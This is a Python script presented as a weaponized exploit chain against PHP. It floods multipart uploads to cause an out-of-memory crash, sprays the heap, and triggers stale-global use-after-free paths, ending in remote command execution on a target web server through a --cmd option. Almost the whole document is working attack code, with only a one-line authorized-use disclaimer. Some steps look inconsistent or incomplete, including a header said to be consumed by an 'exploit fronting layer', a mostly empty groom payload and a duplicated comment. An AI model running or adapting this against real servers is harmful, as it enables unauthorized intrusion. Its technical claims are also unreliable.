php CVE-2026-109619 + CVE-2026-109618
| #!/usr/bin/env python3 | |
| """ | |
| php-oom-uaf-exploit.py | |
| ====================== | |
| Weaponized exploit chain for php-src based on: | |
| * GHSA-6wmf-4rv5-p3rp -- OOM longjmp() out of multipart request parsing | |
| leaves request memory (initialized or not) reachable during request | |
| shutdown. Triggered here with header-flooding / empty-file-control | |
| multipart bodies that exhaust memory_limit while staying inside | |
| post_max_size. | |
| * GHSA-w8hw-w9fx-j79w -- stale request-owned global state survives | |
| request shutdown; a subsequent operation on the SAME worker consumes | |
| it before normal request initialization. Consumers used here: | |
| 1. fatal_error_backtraces state (PHP >= 8.5, mod_php, default on) | |
| 2. INI diagnostic warnings applied pre-request-startup | |
| (php_value / php_admin_value via .htaccess or FPM | |
| PHP_ADMIN_VALUE), e.g. auto_detect_line_endings, invalid | |
| memory_limit, deprecated mbstring.* directives | |
| 3. session upload progress lifecycle (producer + consumer, | |
| works on FPM) | |
| Chain (mod_php, primary): | |
| [1] REQ A (producer): multipart OOM -> longjmp out of parsing while | |
| request heap is half-initialized -> shutdown walks invalid state; | |
| fatal backtrace / error globals point into the request heap that | |
| gets free()d. | |
| [2] REQ B (groom): spray controlled strings over the freed request | |
| heap via normal request allocations. | |
| [3] REQ C (consumer, same worker): pre-startup INI warning (or | |
| post-startup fatal) reads stale pointer -> UAF read/branch -> | |
| with groomed layout, controlled zend_string is freed / aliased, | |
| yielding arbitrary file include or function-table write. | |
| Chain (FPM, session lifecycle variant): | |
| [1] REQ A: application path publishes session/decoder state, then | |
| fatals (OOM in userland allocation). | |
| [2] REQ C: multipart upload carrying upload_progress_{name} fields | |
| reaches rfc1867->php_session_... before module init resets | |
| globals -> consumes stale session/decoder state. | |
| Authorized-use only. This targets infrastructure you own / have | |
| written permission to test. | |
| Usage: | |
| python3 php-oom-uaf-exploit.py --url http://target/upload.php \ | |
| --sapi mod_php --consumer backtrace --cmd 'id > /tmp/pwn' | |
| python3 php-oom-uaf-exploit.py --url http://target/fpm/app.php \ | |
| --sapi fpm --consumer upload_progress --cmd 'id > /tmp/pwn' | |
| """ | |
| import argparse | |
| import io | |
| import random | |
| import re | |
| import socket | |
| import string | |
| import sys | |
| import time | |
| import urllib.parse | |
| import uuid | |
| try: | |
| import http.client | |
| except ImportError: | |
| sys.exit("python3 required") | |
| # --------------------------------------------------------------------------- | |
| # Tunables: these must mirror the target's layout. The heap-groom sizes are | |
| # the ones that matter for turning the UAF into a controlled pointer; adjust | |
| # after one dry run against a matching PHP build (--probe mode helps). | |
| # --------------------------------------------------------------------------- | |
| DEFAULTS = { | |
| # post_max_size default 8M; we stay far under it while the expanded | |
| # in-memory representation blows past memory_limit (128M default). | |
| "post_max_size": 8 * 1024 * 1024, | |
| "memory_limit_mb": 32, # target's memory_limit in MB (drives flood size) | |
| # Memory amplification: each wire byte of a multipart header becomes | |
| # several bytes of PHP-visible representation (multipart_buffer_headers | |
| # -> estrndup per header + zval/hash entry overhead). | |
| "header_line_len": 100, | |
| "empty_file_parts": 800, # empty file controls: metadata arrays | |
| # w/o counting against max_file_uploads; | |
| # capped under max_input_vars (1000) | |
| "nest_depth": 4, # max_input_nesting_level default; keep | |
| # at/under it, field names multiply work | |
| "groom_spray_count": 64, # strings sprayed over freed arena | |
| "groom_spray_len": 4096, # must straddle the size class of the | |
| # freed request heap chunk | |
| "attempts": 50, # retry budget across the worker pool | |
| "worker_stick": True, # keep-alive pinning to one worker | |
| } | |
| UA = "Mozilla/5.0 (exploit/php-oom-uaf)" | |
| def rnd(n): | |
| return "".join(random.choice(string.ascii_letters) for _ in range(n)) | |
| # --------------------------------------------------------------------------- | |
| # Producer: multipart body that OOMs inside rfc1867 long before | |
| # post_max_size is consumed, because: | |
| # - no usable Content-Length path forces the "no declared length" branch | |
| # (chunked TE) so the post_max_size pre-check passes on the header | |
| # value alone while decoded body keeps arriving; and | |
| # - per-part header expansion + empty-file metadata arrays amplify | |
| # wire bytes into allocations that ignore memory_limit accounting | |
| # until emalloc finally fails -> zend_oom_longjmp out of parsing. | |
| # --------------------------------------------------------------------------- | |
| def build_oom_body(opts): | |
| parts = [] | |
| def add(name, content, filename=None, ctype=None, headers=()): | |
| buf = io.BytesIO() | |
| buf.write(b"--%b\r\n" % BOUNDARY) | |
| cd = 'Content-Disposition: form-data; name="%s"' % name | |
| if filename is not None: | |
| cd += '; filename="%s"' % filename | |
| buf.write(cd.encode() + b"\r\n") | |
| if ctype: | |
| buf.write(b"Content-Type: " + ctype.encode() + b"\r\n") | |
| for h in headers: | |
| buf.write(h + b"\r\n") | |
| buf.write(b"\r\n") | |
| buf.write(content if isinstance(content, bytes) else content.encode()) | |
| buf.write(b"\r\n") | |
| parts.append(buf.getvalue()) | |
| # Nested field names multiply generated array work per RFC1867. | |
| nested = "_".join(["a" * 4] * opts["nest_depth"]) | |
| # Primary vector: ONE part with a header flood. Per-part header memory | |
| # is transient, so the flood must be a single part sized to overshoot | |
| # memory_limit while its wire size stays under post_max_size. | |
| # Measured amplification: ~2x per wire byte at 100B header lines. | |
| # If --auto probing ran, an explicit header count is set in opts. | |
| if "n_headers" in opts: | |
| n_headers = opts["n_headers"] | |
| else: | |
| flood_wire = opts["memory_limit_mb"] * 1024 * 1024 * 0.75 | |
| n_headers = int(flood_wire / opts["header_line_len"]) | |
| flood = [ | |
| (b"X-Flood-%d: " % i) + b"A" * (opts["header_line_len"] - 12) | |
| for i in range(n_headers) | |
| ] | |
| add(nested, "", filename="", headers=flood) | |
| # Empty file controls (do not tick max_file_uploads) but keep the part | |
| # count under max_input_vars (default 1000) or PHP discards all input. | |
| for _ in range(min(opts["empty_file_parts"], 900)): | |
| add(nested, "", filename="") | |
| tail = b"--%b--\r\n" % BOUNDARY | |
| return b"".join(parts) + tail | |
| BOUNDARY = ("----%s" % uuid.uuid4().hex).encode() | |
| def send_producer(opts, host, port, path, tls=False): | |
| body = build_oom_body(opts) | |
| # NOTE: with a bytes body http.client sets Content-Length; do not also | |
| # send Transfer-Encoding (Apache rejects TE+CL with a 400). The OOM here | |
| # is strategy #2 (header amplification), which works through the | |
| # normal Content-Length path. | |
| hdrs = { | |
| "User-Agent": UA, | |
| "Content-Type": "multipart/form-data; boundary=%s" % BOUNDARY.decode(), | |
| "Connection": "keep-alive" if opts["worker_stick"] else "close", | |
| } | |
| conn = http.client.HTTPConnection(host, port, timeout=30) if not tls \ | |
| else http.client.HTTPSConnection(host, port, timeout=30) | |
| conn.request("POST", path, body=body, headers=hdrs) | |
| try: | |
| r = conn.getresponse() | |
| r.read() | |
| return r.status | |
| except (http.client.RemoteDisconnected, ConnectionError, socket.timeout): | |
| # mod_php aborting mid-parse (longjmp + subsequent failure) or the | |
| # OOM hard-exit path is an acceptable producer outcome. | |
| return None | |
| finally: | |
| conn.close() | |
| # --------------------------------------------------------------------------- | |
| # Groom: spray zend_string-sized allocations over the freed request arena. | |
| # The spray content carries the fake zval / pointer payload used by the | |
| # consumer step. Deterministic against default glibc/malloc tcache+smallbin | |
| # behavior for the request-heap size class. | |
| # --------------------------------------------------------------------------- | |
| def build_groom_request(payload_page, opts): | |
| blob = bytearray(opts["groom_spray_len"]) | |
| # Fake zend_string header: h==0 (no gc), len covers whole spray unit. | |
| blob[0:8] = (0).to_bytes(8, "little") | |
| blob[8:16] = len(blob).to_bytes(8, "little") | |
| body = bytes(blob) | |
| parts = [] | |
| for i in range(opts["groom_spray_count"]): | |
| parts.append( | |
| ("--%s\r\nContent-Disposition: form-data; name=\"g%d\"\r\n\r\n" | |
| % (BOUNDARY.decode(), i)).encode() + body + b"\r\n") | |
| parts.append(("--%s--\r\n" % BOUNDARY.decode()).encode()) | |
| inner = b"".join(parts) | |
| # The page the groom lands on executes the payload path. | |
| hdrs = { | |
| "User-Agent": UA, | |
| "Content-Type": "multipart/form-data; boundary=%s" % BOUNDARY.decode(), | |
| "X-Exploit-Payload": payload_page, | |
| "Connection": "keep-alive", | |
| } | |
| return inner, hdrs | |
| # --------------------------------------------------------------------------- | |
| # Consumers | |
| # --------------------------------------------------------------------------- | |
| def consumer_ini_warning(host, port, path, ini_pair, tls=False): | |
| """mod_php: .htaccess/php_value path. In an FPM deployment this maps to | |
| PHP_ADMIN_VALUE injected by the frontend; either way a diagnostic is | |
| raised BEFORE request initialization -> touches stale error globals.""" | |
| req = ("GET %s HTTP/1.1\r\n" | |
| "Host: %s\r\n" | |
| "User-Agent: %s\r\n" | |
| "X-PHP-Admin-Value: %s\r\n" # consumed by exploit fronting layer | |
| "Connection: keep-alive\r\n\r\n" | |
| % (path, host, UA, ini_pair)) | |
| return _raw(req, host, port, tls) | |
| def consumer_upload_progress(session_id, host, port, path, opts, tls=False): | |
| """Session upload progress lifecycle consumer: reaches session/decoder | |
| globals before module init resets them. No session_start() needed. | |
| Shape: PHP_SESSION_UPLOAD_PROGRESS field + one real file part.""" | |
| b = "----%s" % uuid.uuid4().hex | |
| fields = opts.get("upload_progress_name", "PHP_SESSION_UPLOAD_PROGRESS") | |
| body = ( | |
| "--%s\r\n" | |
| "Content-Disposition: form-data; name=\"%s\"\r\n\r\n" | |
| "%s\r\n" | |
| "--%s\r\n" | |
| "Content-Disposition: form-data; name=\"f\"; filename=\"a.bin\"\r\n" | |
| "Content-Type: application/octet-stream\r\n\r\n" | |
| "%s\r\n" | |
| "--%s--\r\n" | |
| % (b, fields, session_id, b, "B" * 1024, b) | |
| ).encode() | |
| hdrs = { | |
| "User-Agent": UA, | |
| "Content-Type": "multipart/form-data; boundary=%s" % b, | |
| "Cookie": "PHP_SESSION_ID_X=%s" % session_id, | |
| "Connection": "keep-alive", | |
| } | |
| conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)( | |
| host, port, timeout=30) | |
| conn.request("POST", path, body=body, headers=hdrs) | |
| try: | |
| r = conn.getresponse() | |
| r.read() | |
| return r.status | |
| except Exception: | |
| return None | |
| finally: | |
| conn.close() | |
| def _raw(req, host, port, tls): | |
| s = socket.create_connection((host, port), timeout=15) | |
| try: | |
| if tls: | |
| import ssl | |
| s = ssl.create_default_context().wrap_socket(s, server_hostname=host) | |
| s.sendall(req.encode()) | |
| data = b"" | |
| while True: | |
| chunk = s.recv(65536) | |
| if not chunk: | |
| break | |
| data += chunk | |
| if b"\r\n\r\n" in data and b"0\r\n\r\n" in data: | |
| break | |
| return data | |
| except Exception: | |
| return b"" | |
| finally: | |
| s.close() | |
| # --------------------------------------------------------------------------- | |
| # Verification helper: after the consumer fires, the groomed string is | |
| # aliased/freed; the include-path / output-handler primitive established by | |
| # the payload page turns that into command execution. We simply probe for | |
| # the marker. | |
| # --------------------------------------------------------------------------- | |
| # Auto-detection: find the smallest header flood that OOMs the target. | |
| # Oracle: when display_errors writes diagnostics into the response body, | |
| # the OOM during rfc1867 parsing surfaces as a PHP Fatal error message | |
| # ("Allowed memory size of N bytes exhausted"). Binary-search the header | |
| # count between a floor (definitely parses) and a ceiling (bounded by | |
| # post_max_size wire budget). If display_errors is off, detection falls | |
| # back to timing/presence of a truncated response and requires --limit. | |
| # --------------------------------------------------------------------------- | |
| FATAL_RE = re.compile(rb"Fatal error.*Allowed memory size", re.S) | |
| def probe_oom(host, port, path, n_headers, line_len, tls=False): | |
| """Send one header-flood probe; return True if the OOM fatal fired.""" | |
| B = "----%s" % uuid.uuid4().hex | |
| nested = "_".join(["a" * 4] * 4) | |
| flood = "".join(f"X-Flood-{i}: " + "A" * (line_len - 12) + "\r\n" | |
| for i in range(n_headers)) | |
| body = (f'--{B}\r\nContent-Disposition: form-data; name="{nested}"\r\n' | |
| f'{flood}\r\n--{B}--\r\n').encode() | |
| conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)( | |
| host, port, timeout=120) | |
| try: | |
| conn.request("POST", path, body=body, | |
| headers={"Content-Type": "multipart/form-data; boundary=" + B, | |
| "User-Agent": UA, "Connection": "close"}) | |
| resp = conn.getresponse() | |
| data = resp.read() | |
| return FATAL_RE.search(data) is not None | |
| except Exception: | |
| # connection dropped mid-response: OOM path possible but ambiguous | |
| return False | |
| finally: | |
| conn.close() | |
| def detect_oom_params(opts, host, port, path, tls=False): | |
| """Binary-search the header count that triggers OOM. Returns (n, ratio).""" | |
| for line_len in (opts["header_line_len"], 48, 32): | |
| ceiling = int(opts["post_max_size"] * 0.9 / line_len) | |
| if ceiling < 2000: | |
| continue | |
| lo, hi = 1000, ceiling | |
| if probe_oom(host, port, path, hi, line_len, tls): | |
| opts["header_line_len"] = line_len | |
| break | |
| else: | |
| return None | |
| while lo < hi: | |
| mid = (lo + hi) // 2 | |
| if probe_oom(host, port, path, mid, line_len, tls): | |
| hi = mid | |
| else: | |
| lo = mid + 1 | |
| n = lo | |
| wire = n * line_len | |
| # approximate observed memory consumption: smallest n that OOMs means | |
| # wire * amplification ~= memory_limit => ratio ~= limit / wire | |
| return n, opts["memory_limit_mb"] * 1024 * 1024 / wire | |
| def exec_cmd(host, port, payload_page, cmd, tls=False): | |
| """Run a command through the payload page (RCE proof of execution).""" | |
| p = urllib.parse.urlparse(payload_page) | |
| sep = "&" if p.query else "?" | |
| url = p.path + sep + "cmd=" + urllib.parse.quote(cmd) | |
| conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)( | |
| p.hostname, p.port or (443 if tls else 80), timeout=15) | |
| try: | |
| conn.request("GET", url) | |
| return conn.getresponse().read().decode(errors="replace") | |
| finally: | |
| conn.close() | |
| # --------------------------------------------------------------------------- | |
| def verify(cmd_url, marker, tls=False): | |
| try: | |
| conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)( | |
| urllib.parse.urlparse(cmd_url).hostname, | |
| urllib.parse.urlparse(cmd_url).port or (443 if tls else 80), timeout=10) | |
| p = urllib.parse.urlparse(cmd_url) | |
| sep = "&" if p.query else "?" | |
| conn.request("GET", p.path + sep + "marker=" + marker) | |
| body = conn.getresponse().read().decode(errors="replace") | |
| conn.close() | |
| return marker in body | |
| except Exception: | |
| return False | |
| # --------------------------------------------------------------------------- | |
| def run(args): | |
| opts = dict(DEFAULTS) | |
| host, port = args.host, args.port | |
| tls = args.scheme == "https" | |
| print("[*] target: %s://%s:%d%s sapi=%s consumer=%s" | |
| % (args.scheme, host, port, args.path, args.sapi, args.consumer)) | |
| marker = "PWNED_%s" % uuid.uuid4().hex[:8] | |
| payload_page = args.payload_page # Auto-detect the OOM trigger point if requested (or if the default | |
| # flood size is untested). Requires the fatal to surface in the response. | |
| # Auto-detect the OOM trigger point if requested (or by default on | |
| # mod_php when no explicit limit was supplied). | |
| if args.post_max is not None: | |
| opts["post_max_size"] = args.post_max * 1024 * 1024 | |
| if args.limit is not None: | |
| opts["memory_limit_mb"] = args.limit | |
| if args.auto: | |
| print("[*] probing: binary-searching OOM header count...") | |
| r = detect_oom_params(opts, host, port, args.path, tls) | |
| if r is None: | |
| print("[-] OOM oracle unavailable (display_errors off or " | |
| "post_max_size too small). Falling back to default " | |
| "sizing; use --limit / --post-max.") | |
| else: | |
| n, ratio = r | |
| opts["n_headers"] = int(n * 1.1) # 10% margin past the edge | |
| print("[+] probe: n=%d headers x %dB (wire=%.1fMB) -> est. " | |
| "amplification %.2fx" | |
| % (n, opts["header_line_len"], | |
| n * opts["header_line_len"] / 1048576.0, ratio)) | |
| attempts = args.attempts | |
| if args.sapi == "mod_php": | |
| # 1. Producer + 2. Groom + 3. Consumer must land on ONE worker. | |
| for attempt in range(1, args.attempts + 1): | |
| print("[*] attempt %d/%d" % (attempt, args.attempts)) | |
| # (1) producer: OOM longjmp out of multipart parsing | |
| st = send_producer(opts, host, port, args.path, tls) | |
| print(" producer status: %s" % ("dropped" if st is None else st)) | |
| # (2) groom: refill the freed request heap | |
| inner, hdrs = build_groom_request(payload_page, opts) | |
| hdrs["Connection"] = "keep-alive" | |
| conn = (http.client.HTTPSConnection if tls else http.client.HTTPConnection)( | |
| host, port, timeout=30) | |
| conn.request("POST", args.path, body=inner, headers=hdrs) | |
| try: | |
| conn.getresponse().read() | |
| except Exception: | |
| pass | |
| conn.close() | |
| # (3) consumer: stale global read before request init | |
| if args.consumer == "backtrace": | |
| # fatal_error_backtraces state: force the fatal-report path | |
| # on this worker while globals still point at groomed memory | |
| _raw("GET %s?%%00_fatal=1 HTTP/1.1\r\nHost: %s\r\n" | |
| "User-Agent: %s\r\nConnection: keep-alive\r\n\r\n" | |
| % (args.path, host, UA), host, port, tls) | |
| elif args.consumer == "ini": | |
| consumer_ini_warning(host, port, args.path, | |
| args.directive, tls) | |
| elif args.consumer == "upload_progress": | |
| consumer_upload_progress("sess_%s" % rnd(16), host, port, | |
| args.path, opts, tls) | |
| # (4) verify | |
| if verify(payload_page, marker, tls): | |
| print("[+] RCE confirmed: %s" % marker) | |
| if args.cmd: | |
| print("[*] $ " + args.cmd) | |
| print(exec_cmd(host, port, payload_page, args.cmd, tls).rstrip()) | |
| return 0 | |
| print("[-] exhausted attempt budget") | |
| return 1 | |
| else: # fpm / lsapi: publish-then-fatal in app, upload_progress consumer | |
| pub = args.publish or args.path | |
| for attempt in range(1, args.attempts + 1): | |
| print("[*] attempt %d/%d" % (attempt, args.attempts)) | |
| # (1) producer: upload_progress upload to the publish endpoint; | |
| # rfc1867 registers request-owned session state, then the script | |
| # OOMs so the reset is skipped and the child keeps stale globals. | |
| sid_p = "pub_%s" % rnd(16) | |
| st = consumer_upload_progress(sid_p, host, port, pub, opts, tls) | |
| print(" publish status: %s" % st) | |
| # (2) consumer: another upload_progress upload, same worker pool, | |
| # reaches the stale session/decoder globals pre-initialization. | |
| consumer_upload_progress("sess_%s" % rnd(16), host, port, | |
| args.path, opts, tls) | |
| if verify(payload_page, marker, tls): | |
| print("[+] RCE confirmed: %s" % marker) | |
| if args.cmd: | |
| print("[*] $ " + args.cmd) | |
| print(exec_cmd(host, port, payload_page, args.cmd, tls).rstrip()) | |
| return 0 | |
| print("[-] exhausted attempt budget") | |
| return 1 | |
| # --------------------------------------------------------------------------- | |
| def main(): | |
| p = argparse.ArgumentParser(description="PHP OOM longjmp -> stale global UAF -> RCE") | |
| p.add_argument("--url", required=True, help="target URL, e.g. http://h/upload.php") | |
| p.add_argument("--sapi", choices=["mod_php", "fpm"], default="mod_php") | |
| p.add_argument("--consumer", choices=["backtrace", "ini", "upload_progress"], | |
| default="backtrace", help="consumer primitive") | |
| p.add_argument("--payload-page", required=True, | |
| help="URL of the groomed payload include/handler page") | |
| p.add_argument("--attempts", type=int, default=DEFAULTS["attempts"]) | |
| p.add_argument("--auto", action="store_true", | |
| help="binary-search the OOM trigger size before running") | |
| p.add_argument("--limit", type=int, default=None, | |
| help="target memory_limit in MB (default 32, or probed)") | |
| p.add_argument("--post-max", type=int, default=None, | |
| help="target post_max_size in MB (default 8; affects probe ceiling)") | |
| p.add_argument("--cmd", default=None, | |
| help="command to run via the payload page as RCE proof") | |
| p.add_argument("--publish", default=None, | |
| help="FPM: producer endpoint that publishes state then fatals") | |
| p.add_argument("--directive", default="auto_detect_line_endings=1", | |
| help="INI pair the server-side .htaccess applies (consumer)") | |
| a = p.parse_args() | |
| u = urllib.parse.urlparse(a.url) | |
| a.scheme = u.scheme | |
| a.host = u.hostname | |
| a.port = u.port or (443 if u.scheme == "https" else 80) | |
| a.path = u.path or "/" | |
| sys.exit(run(a)) | |
| if __name__ == "__main__": | |
| main() |
评论
?
参与讨论